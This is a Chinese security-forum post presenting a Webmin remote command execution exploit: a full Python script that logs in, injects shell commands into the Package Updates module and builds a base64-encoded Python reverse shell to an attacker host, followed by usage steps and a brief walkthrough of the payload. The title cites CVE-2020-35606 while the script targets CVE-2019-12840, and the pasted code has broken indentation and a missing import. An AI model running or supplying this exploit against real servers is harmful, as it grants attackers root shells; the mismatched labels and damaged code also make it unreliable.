安全矩阵

 找回密码
 立即注册
搜索
查看: 1987|回复: 0

Webmin 命令执行漏洞 (CVE-2020-35606)

[复制链接]

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
发表于 2021-10-24 17:59:36 | 显示全部楼层 |阅读模式

Webmin 命令执行漏洞 (CVE-2020-35606)

描述: Webmin是Webmin社区的一套基于Web的用于类Unix操作系统中的系统管理工具。 Webmin 1.962版本及之前版本存在安全漏洞,该漏洞允许执行任意命令。任何被授权使用Package Updates模块的用户都可以使用根权限通过包含和的向量执行任意命令。 账户密码:root:password
漏洞利用:
打开需要ssl证书
换成https就行
poc下载地址:
#!/usr/bin/python3

'''
# Exploit Title: Webmin Package Updates Remote Command Execution
# Date: 09/11/2019
# Exploit Author: KrE80r (@KrE80r)
# CVE : CVE-2019-12840
# Vendor Homepage: http://webmin.com/
# Version: <= 1.910
# Tested on: Ubuntu 16.04, Ubuntu 18.04
# Refernces: https://secfa.org/?p=17, https://www.pentest.com.tr/explo ... mand-Execution.html
'''


import requests
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import argparse
import sys
import base64
from colorama import Fore, Style
from bs4 import BeautifulSoup

banner = '''
  _______      ________    ___   ___  __  ___        __ ___   ___  _  _    ___  
/ ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ |__ \ / _ \| || |  / _ \
| |     \ \  / /| |__ ______ ) | | | || | (_) |______| |  ) | (_) | || |_| | | |
| |      \ \/ / |  __|______/ /| | | || |\__, |______| | / / > _ <|__   _| | | |
| |____   \  /  | |____    / /_| |_| || |  / /       | |/ /_| (_) |  | | | |_| |
\_____|   \/   |______|  |____|\___/ |_| /_/        |_|____|\___/   |_|  \___/
                                                                              
                           by KrE80r

             Webmin <= 1.910 RCE (Authorization Required)

usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
'''

def CVE_2019_12840(url,auth_base64,cmd):
    vuln_url = url + '/package-updates/update.cgi'
    headers = {
    "User-Agent":"webmin",
    "Connection":"close",
    "Content-Type":"application/x-www-form-urlencoded",
    "Referer": url + "package-updates/update.cgi?xnavigation=1"
    }


    payload = r'OBJECT CGI;print "Content-Type: Test\n\n";'+'$cmd=`%s`;print "$cmd";' % cmd
    r = requests.post(url=vuln_url, data=payload, headers=headers, verify=False)
    if r.status_code ==200 and 'Content-type' in r.text:
        m = re.findall(r"(.+?)\nContent-type: text/plain",r.text,re.S)
    else:
        sys.exit(1)



def login(username,password,url):
    print(Fore.YELLOW + "
  • logging in ...")
        print(Style.RESET_ALL)
        session = requests.Session()
        session.cookies["testing"] = "1"
        data = {'page' : '', 'user' : username, 'pass' : password}
        loginurl = url+"/session_login.cgi"
        res = session.post(loginurl, data=data, verify=False,allow_redirects=False)
       
        if res.status_code != 302 or session.cookies["sid"] == None:
            print(Fore.RED +"[-] Failed to login!!")
            print(Style.RESET_ALL)
            sys.exit(1)
        else:
            return session.cookies["sid"]
          
    def exploit(sid,url,cmd):
        print(Fore.YELLOW + "
  • sending command", cmd)
        print(Style.RESET_ALL)
        session = requests.Session()   
        referer = url + "/package-updates/update.cgi?xnavigation=1"
        cookies = "Cookie: redirect=1; testing=1;sid=" + sid
        headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0",
        "Connection": "close",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": referer,
        "X-Progressive-URL": url + "package-updates/update.cgi",
        "X-Requested-From": "package-updates",
        "X-Requested-From-Tab": "webmin",
        "X-Requested-With": "XMLHttpRequest",
        "Cookie": cookies
        }
        data = "mode=updates&search=&u=apt/apt&u=;"+ cmd + ";/apt&ok_top=Update+Selected+Packages"
        updateurl = url + "/package-updates/update.cgi"
        res = session.post(updateurl, data=data,headers=headers, verify=False)
        if res.status_code == 200:
            soup = BeautifulSoup(res.text, 'html.parser')
            #ain't perfect but does the job
            output = soup.find_all('pre')
            print(output)
            print(Fore.GREEN + "[+] exploit finished successfully!!")
            print(Style.RESET_ALL)

    def b64revshell(lhost,lport):
        payload = "python -c \"import base64;exec(base64.b64decode('"
        shellcode = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""+ lhost + "\"," + lport + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])"
        shellcode = str.encode(shellcode)
        encoded = base64.b64encode(shellcode)
        encoded = encoded.decode("utf-8")
        closing = "'))\""
        payload += encoded
        payload += closing
        return payload
       
    if __name__ == "__main__":
        print (Fore.GREEN + banner)
        print(Style.RESET_ALL)
        parser = argparse.ArgumentParser()
        parser.add_argument("-U", dest="username", help="username", required=True)
        parser.add_argument("-P", dest="password", help="password", required=True)
        parser.add_argument("-u", dest="url", help="target url", required=True)
        parser.add_argument("-p", dest="port", default="10000", help="target port")#记得修改端口号
        parser.add_argument("-lport", dest="lport", default="443", help="local port for reverse shell")
        group = parser.add_mutually_exclusive_group(required=True)
        group.add_argument("-c", dest="cmd", help="command to execute")
        group.add_argument("-lhost", dest="lhost", help="Send back a reverse shell at port 443")
        args = parser.parse_args()
        baseurl = args.url + ':' + args.port
        sid = login(args.username,args.password,baseurl)
        sid = sid.strip()
        print(Fore.GREEN + "[+] got sid", sid)
        print(Style.RESET_ALL)
        if args.cmd:
            exploit(sid,baseurl,args.cmd)
        elif args.lhost:
            rev = b64revshell(args.lhost,args.lport)
            exploit(sid,baseurl,rev)
  • 其中把端口号改成54909
    python CVE-2019-12840.py -u  https://ip -U username -P password  -lport  54909(修改了脚本这里的端口可加可不加) -c "命令"  


    接下来分析一下poc
    怎么利用的
    先是登录拿session,然后用这个session去构造cookie进而构造exploit
    命令执行地址在这个点:
    referer = url + "/package-updates/update.cgi?xnavigation=1"
    payload:
    data = "mode=updates&search=&u=apt/apt&u=;" + cmd + ";/apt&ok_top=Update+Selected+Packages"
    更新回显点用于python爬虫
    updateurl = url + "/package-updates/update.cgi"
    将payload进行加密:
    def b64revshell(lhost, lport):
        payload = "python -c \"import base64;exec(base64.b64decode('"
        shellcode = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + lhost + "\"," + lport + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])"
        shellcode = str.encode(shellcode)
        encoded = base64.b64encode(shellcode)
        encoded = encoded.decode("utf-8")
        closing = "'))\""
        payload += encoded
        payload += closing
        return payload

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    小黑屋|安全矩阵

    GMT+8, 2024-12-12 13:25 , Processed in 0.013527 second(s), 18 queries .

    Powered by Discuz! X4.0

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表